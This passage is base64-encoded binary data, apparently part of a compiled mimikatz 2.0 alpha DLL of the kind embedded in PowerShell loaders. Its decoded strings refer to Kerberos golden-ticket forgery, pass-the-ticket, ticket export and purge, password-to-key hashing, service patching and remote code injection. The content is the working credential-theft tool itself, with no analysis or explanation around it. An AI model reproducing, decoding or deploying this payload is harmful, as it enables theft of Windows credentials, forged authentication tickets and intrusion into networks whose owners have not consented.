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ByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABRAFcATwBSAEQAAABSAEUAUwBPAFUAUgBDAEUAXwBSAEUAUQBVAEkAUgBFAE0ARQBOAFQAUwBfAEwASQBTAFQAAAAAAEYAVQBMAEwAXwBSAEUAUwBPAFUAUgBDAEUAXwBEAEUAUwBDAFIASQBQAFQATwBSAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAATQBVAEwAVABJAF8AUwBaAAAAAABMAEkATgBLAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAABEAFcATwBSAEQAAABCAEkATgBBAFIAWQAAAAAARQBYAFAAQQBOAEQAXwBTAFoAAABTAFoAAAAAAE4ATwBOAEUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAABcAHgAJQAwADIAeAAAAAAAMAB4ACUAMAAyAHgALAAgAAAAAAAlADAAMgB4ACAAAAAlADAAMgB4AAAAAAAKAAAAJQBzACAAAAAlAHMAAAAAACUAdwBaAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFQAbwBrAGUAbgAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADAAIABhAGwAcABoAGEAIAAoAHgAOAA2ACkAIAByAGUAbABlAGEAcwBlACAAIgBLAGkAdwBpACAAZQBuACAAQwAiACAAKABGAGUAYgAgADEANgAgADIAMAAxADUAIAAyADIAOgAxADcAOgA1ADIAKQAKACAALgAjACMAIABeACAAIwAjAC4AIAAgAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACAAKgAgACoACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACcAIwAjACAAdgAgACMAIwAnACAAIAAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAbwBlAC4AZQBvACkACgAgACAAJwAjACMAIwAjACMAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaQB0AGgAIAAlADIAdQAgAG0AbwBkAHUAbABlAHMAIAAqACAAKgAgACoALwAKAAoAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACgAcABvAHcAZQByAHMAaABlAGwAbAApACAAIwAgACUAcwAKAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAEtlcmJlcm9zAAAAAHUAcwBlAHIAAAAAAHMAZQByAHYAaQBjAGUAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAAYwBsAGkAcwB0AAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABwAHQAYwAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAaABhAHMAaAAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAGcAbwBsAGQAZQBuAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAHAAdQByAGcAZQAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAdABnAHQAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAKABzACkAAAAAAGwAaQBzAHQAAAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAHAAdAB0AAAAAAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAAGsAZQByAGIAZQByAG8AcwAAAAAAAAAAACUAMwB1ACAALQAgAEQAaQByAGUAYwB0AG8AcgB5ACAAJwAlAHMAJwAgACgAKgAuAGsAaQByAGIAaQApAAoAAABcACoALgBrAGkAcgBiAGkAAAAAAFwAAAAgACAAIAAlADMAdQAgAC0AIABGAGkAbABlACAAJwAlAHMAJwAgADoAIAAAACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAAABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABLAGUAcgBiAGUAcgBvAHMAIABUAEcAVAAgAG8AZgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAOgAgAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAIAA7ACAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAawBpAHIAYgBpAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQ